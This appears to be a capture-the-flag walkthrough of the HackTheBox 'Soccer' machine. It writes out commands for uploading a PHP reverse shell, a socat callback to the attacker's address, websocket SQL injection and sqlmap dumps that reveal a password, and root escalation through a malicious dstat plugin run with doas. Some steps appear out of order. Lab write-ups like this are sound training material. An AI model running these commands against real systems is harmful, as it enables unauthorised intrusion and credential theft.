Hackthebox - Soccer
Last updated
Last updated
We need to add the host in /etc/hosts 10.10.11.194 soccer.htb
We land on this webpage http://soccer.htb/
Gobuster found this page
We can try to get a shell by uploading a reverse shell
cp /usr/share/webshells/php/php-reverse-shell.php reverse.php
We put our ip and port in it
We set up a listener rlwrap nc -lvp 4444
We need to upload it here /var/www/html/tiny/uploads as it is writable.
If we ls on /home we can find a user player
Let's upgrade our shell python3 -c 'import pty; pty.spawn("/bin/bash")'
Here are some infos about the target
To get an even better shell we can take a socat binary
wget -q https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/socat -O socat from your kali
Then we put on our python web server python3 -m http.server 80
We also set up a listener with socat
Then we go to a writable directory (/tmp will do the trick) wget http://10.10.14.2/socat; chmod +x /tmp/socat; /tmp/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.10.14.2:4445. And we are good to go.
Let's get linpeas in our target
wget https://github.com/carlospolop/PEASS-ng/releases/download/20221218/linpeas_linux_amd64 in our kali
wget http://10.10.14.2/linpeas_linux_amd64
chmod +x linpeas_linux_amd64
./linpeas_linux_amd64
Interesting output to investigate
CVE 2021-3560 is a 95% PE vector so it is definitely worth to investigate
We have a subdomain that we did not find previously because I did not think of doing subdomain enumeration. We can update our /etc/hosts and add it soc-player.soccer.htb the full line will look like this 10.10.11.194 soccer.htb soc-player.soccer.htb
So let's try the cve first. We do not have any luck here. Turns out we are missing gnome-control-center that is a requirement for it to work.
Let's create an account. After a while and intercepting with burp we find that this is using websocket and that it is vulnerable to sqlinjection. You can not just use sqlmap right away. Once you are able to see that it is vulnerable you need to use a proxy. This article by Rayhan0x01 actually explains the steps really well and provide a script that can act as a proxy. We need to modify the script so that it works for our context. Here is the updated script
Let's launch our server python3 server.py
And then we can just launch sqlmap sqlmap -u "http://localhost:8081/?id=1" --batch --dbs
We get the user password PlayerOftheMatch2022 and if we try it on ssh, it works!
Let's connect and grab the root flag ssh player@10.10.11.194
Let's run linpeas again with this user
Interesting linpeas output to analyze further
Also when checking of suid find / -perm -u=s -type f 2>/dev/null these 2 binaries seem interesting
The path to dstat is writable for the group /usr/local/share/dstat
And the doas command def seems interesting.
Googling more info on it it is suppose to have a config file /etc/doas.conf except it does not exist let's use find to see if it is located somewhere else find / -name doas.conf -type f 2>/dev/null.
Here it is: /usr/local/etc/doas.conf
We can read more about dstat here
This command uses plugins. We could try to make a malicious plugin. Moreover when we list the plugins dstat --list it does look for plugins in /usr/local/share/dstat. So we should be able to put a malicious script there and launch it using dstat as root.
The plugins are written in python and or writable folder can contain plugins (see here)
Let's make a python reverse shell and put it in the directory in which we have write rights.
We have to be quick it seems that our script get deleted
Here is the script to get the reverse shell
We have to name it according to the convention so I named mine dstat_rootshell.py
We set out listener rlwrap nc -lvp 4444
And we can launch it /usr/local/bin/doas -u root /usr/bin/dstat --rootshell
We can grab the root flag!
The copyright gives a link to the github project If we look online we can find a default username and password Default username/password: admin/admin@123 and user/12345
The admin one works and we are able to login
Once downloaded we can click on the little link icon
And we get our shell
When we visit the page the website is more complete with even a signup page Let's keep this aside for now.
This way we could enumerate tables
Let's get more info on soccer_db first. We have a table accounts there, lets see what columns it has. sqlmap -u "http://localhost:8081/?id=1" --batch --dbms=mysql -D soccer_db -T accounts --columns
Seems to be what we are looking for, let's dump it sqlmap -u "http://localhost:8081/?id=1" --batch --dbms=mysql -D soccer_db -T accounts --dump
If we read its content it does tie back to dstat
We get our root shell
